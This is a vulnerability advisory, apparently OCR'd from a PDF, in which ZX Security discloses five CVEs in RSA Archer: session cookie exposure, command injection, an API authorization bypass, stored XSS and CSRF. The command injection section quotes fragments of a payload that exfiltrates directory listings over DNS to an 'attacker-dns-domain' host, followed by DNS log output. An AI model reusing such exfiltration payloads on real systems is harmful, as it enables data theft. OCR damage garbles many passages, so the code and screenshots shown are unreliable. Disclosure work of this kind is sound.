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1. Background

1.1. Introduction

The following security issues in RSA Archer were identified by ZX Security and to mitigate them, RSA
recommends all customers upgrade the product at the earliest opportunity. The issues when combined
can be used by low privileged users to elevate their privilege to an administrator role. This allows them to
execute arbitrary commands on the system.

1.2. Product

RSA Archer Suite is a GRC automation tool by RSA Security LLC, which helps organisation automate their
Risk and Compliance program.

1.3. Disclosure Timeline

Vendor notification: November 2019
Vendor response: November 2019
Firmware update released to public: February 27, 2020

RSA provided a knowledge base article regarding the identified issues:

e https://community.rsa.com/docs/DOC-111112

2. Technical Findings

2.1. Insecure Cryptographic Storage Vulnerability

CVE: CVE-2020-5331
CVSSv3 Base Score: 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
Affected RSA Archer versions: Prior to 6.7 P3 (6.7.0.3)

RSA Archer has an interface known as Advanced Workflow that can only be accessed by an authorised D
administrator user. ZX Security found that there is a weakness with the authorisation process. To grant
access to the Advance Workflow, the application only needs the administrator's
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__ArcherSessionCookie " cookie value without requiring additional verification such as password
validation. Due to this weakness, a number of insecure cryptographic storage issues were identified in this

product which can be abused:

1. The authorisation process happens using the GET method. This means the requests can be
potentially stored in a cache or logging server. If these servers were compromised by a malicious
user, the active session cookie can be used to gain access to the RSA Archer Advanced Workflow.

https://target/RSAarcher/apps/ArcherAWF/AppArchitect/Home.aspx?bu
ild=productioné&features=%7B%22database%22:%22XXX%22%22username%$22
: %22 [COOKIE-VALUE] %22, %22header%22:false%7D

2. The " _ArcherSessionCookie " value is stored in several administration pages inside the HTML
body content. An attacker could steal this cookie via XSS. Some of the identified pages that contain
the cookies are:

https://target/RSAarcher/Globalization/*.aspx
https://target/RSAarcher/Integration/*.aspx
https://target/RSAarcher/foundation/*.aspx
https://target/RSAarcher/content/*.aspx
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2.2. Command Injection Vulnerability

CVE: CVE-2020-5332
CVSSv3 Base Score: 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
Affected RSA Archer versions: Prior to 6.7 P3 (6.7.0.3)

In the RSA Archer Advanced Workflow page, there is a feature which allows an administrator to create
custom scripts in form of SQL, C# or VB.net. ZX Security noted that the feature can be abused by inserting
unsafe scripts execution that can allow Operating System commands and/or sensitive data extraction
through SQL queries.

Example of how this can be using VB.Net scripts:

The following commands where inserted to exfiltrate a list of the host’s directories via DNS.

= (Get-Item -Path ) .FullName; - -split ,—-1,'SimpleMatch’;

.attacker-dns-domain')}|

:01:05 UTC DNS rupguSyvB8edgruqi73ulq8ylysdis7
:01:05 UTC DNS rupgubyv8edgruqi73ulq8ylysdis7
1:01:05 UTC DNS rupguSyv8edgruqi73ulq8ylysdis7
:59:32 UTC rupguSyv8edgruqi73ulq8ylysdis7
:59:32 UTC rupguSyv8edgruqi73ulq8ylysdis7
:59:32 UTC rupguSyv8e4gruqi73ulq8ylysdis7
:59:32 UTC rupgu5yv8edgruqi73ulq8ylysdis7
:59:32 UTC rupguSyv8edgruqi73ulq8ylysdis7

:59:32 UTC rupguSyv8e4gruqi73ulq8ylysdis7
:59:32 UTC rupguSyv8e4gruqi73ulq8ylysdis7
:59:32 UTC rupguSyv8edgruqi73ulq8ylysdis7
:59:32 UTC rupguSyv8edgruqi73ulq8ylysdis7
:59:32 UTC rupguSyv8e4gruqi73ulq8ylysdis7

ary

/er received a DNS lookup of type A for the domain namrupguSvaedgl D
ved from IP addressl_ov-ls 03:59:32 UTC.
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2.3. REST API Authorization Bypass Vulnerability

CVE: CVE-2020-5333
CVSSv3 Base Score: 4.3 (AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N)
Affected RSA Archer versions: Prior to 6.7 P3 (6.7.0.3)

ZX Security found that a low-privileged user could retrieve full details of other users such as fullname,
email address, user's domain name, role level and etc by performing a request through the following API
endpoint:

HTTP/1.1 0K
Date: Wed, Nov
. redacted .

~/api/V2/1

mainName":null, "User

:null,

null,
DefaultHc
:74,"Tu

Description

}

This was identified due to insufficient access checks throughout the API requests, these did not properly
verify the user's privilege when returning the responses.
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2.4. Cross-site Scripting Vulnerability

CVE: CVE-2020-5334
CVSSv3 Base Score: 8.2 (AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:L)
Affected RSA Archer versions: Prior to 6.7 P2 (6.7.0.2)

RSA Archer utilises TinyMCE editor in most of the pages. This editor is known to perform client-side
validation through a blacklisting approach to ensure no dangerous input can be entered by users, to
prevent common client-side vulnerabilities such XSS.

ZX Security was able to find bypasses on the TinyMCE used by the product and resulting Stored XSS
vulnerability where the payload will be executed in most of the pages inside the RSA Archer including
Advanced Workflow and Administrator's User Profile configuration.

The payload used was:

findings - E¥%

AVE [ save anD cLose [E] view 1T DELETE

hld21r/41vAhkw0qfDd4sU

NFORMATION
Finding ID: FND-74 n Cancel Avn
*Title: |-xpentest2 | .

*Finding: Stored XSS
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2.5. Cross-site Request Forgery Vulnerability

CVE: CVE-2020-5335
CVSSv3 Base Score: 5.0 (AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N
Affected RSA Archer versions: Prior to 6.7 P2 (6.7.0.2)

While it can be observed that the product is applying CSRF protection in most of the sensitive pages, ZX
Security managed to identify that the
endpoint was missing this protection.

> & v/ I
From: ahmad |

lTo:

CC:
BCC:
wbject:

Body:

An attacker could take advantage of this weakness to send fake emails to anyone on behalf of a logged in
user, if the user was tricked into visiting a website the attacker controls.
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html>

method="POST":
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